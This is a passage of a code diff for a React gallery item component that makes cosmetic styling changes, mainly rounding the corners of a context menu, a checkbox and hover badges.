closeOnUnhover
>
@@ -385,7 +394,7 @@ export const GalleryDraggableItem: React.FC<GalleryDraggableItemProps> = ({
/>
<div
ref={ctxPanelRef}
className="fixed z-[9999] w-max min-w-44 rounded-[3px] border border-ui-panel-border bg-ui-panel p-1 shadow-xl"
className="fixed z-[9999] w-max min-w-44 rounded-lg border border-ui-panel-border bg-ui-panel p-1 shadow-xl"
style={{ left: ctxMenu.x, top: ctxMenu.y }}
>
<GalleryItemMenuItems
@@ -409,7 +418,7 @@ export const GalleryDraggableItem: React.FC<GalleryDraggableItemProps> = ({
{mode !== "select" && onBulkSelectToggle && (
<div
className={twMerge(
"absolute left-2 top-2 z-[2] flex h-5 w-5 items-center justify-center rounded-[3px] border-2 cursor-pointer transition-all duration-100",
"absolute left-2 top-2 z-[2] flex h-5 w-5 items-center justify-center rounded border-2 cursor-pointer transition-all duration-100",
bulkSelected
? "bg-primary border-primary"
: "border-white/60 bg-black/40 hover:border-white",
@@ -423,12 +432,16 @@ export const GalleryDraggableItem: React.FC<GalleryDraggableItemProps> = ({
onBulkSelectToggle?.();
}}
>
{bulkSelected && <CheckIcon className="text-[10px] text-white" />}
{bulkSelected && (
<CheckIcon
className="text-[10px] text-white" />
)}
</div>
)}
{/* Media class badge on hover — bottom-left */}
{!disableTooltipAndBadge && item.mediaClass && (
<div className="pointer-events-none absolute left-2 bottom-2 z-[1] bg-black/50 backdrop-blur-lg px-2 py-0.5 text-[11px] font-semibold uppercase tracking-wide text-white opacity-0 group-hover:opacity-100 transition-opacity duration-150">
<div className="pointer-events-none absolute left-2 bottom-2 z-[1] rounded-full bg-black/50 backdrop-blur-lg px-2 py-0.5 text-[11px] font-semibold uppercase tracking-wide text-white opacity-0 group-hover:opacity-100 transition-opacity duration-150">
{item.mediaClass === "dimensional" ||
item.mediaClass === "mesh" ||
item.mediaClass === "splat"
@@ -438,8 +451,8 @@ export const GalleryDraggableItem: React.FC<GalleryDraggableItemProps> = ({
)}
{/* Upload badge — bottom-right (always visible, even in select mode) */}
{item.isUpload && (
<div className="pointer-events-none absolute right-2 bottom-2 z-[1] flex h-5 w-5 items-center justify-center bg-black/50 backdrop-blur-lg text-white">
<UploadIcon className="text-[10px]" />
<div className="pointer-events-none absolute right-2 bottom-2 z-[1] flex h-5 w-5 items-center justify-center rounded-full bg-black/50 backdrop-blur-lg text-white">
<UploadIcon className="text-[10px]" />
</div>
)}
{/* Conditionally wrap with Tooltip — hidden when selecting or in bulk mode */}

Some files were not shown because too many files have changed in this diff Show More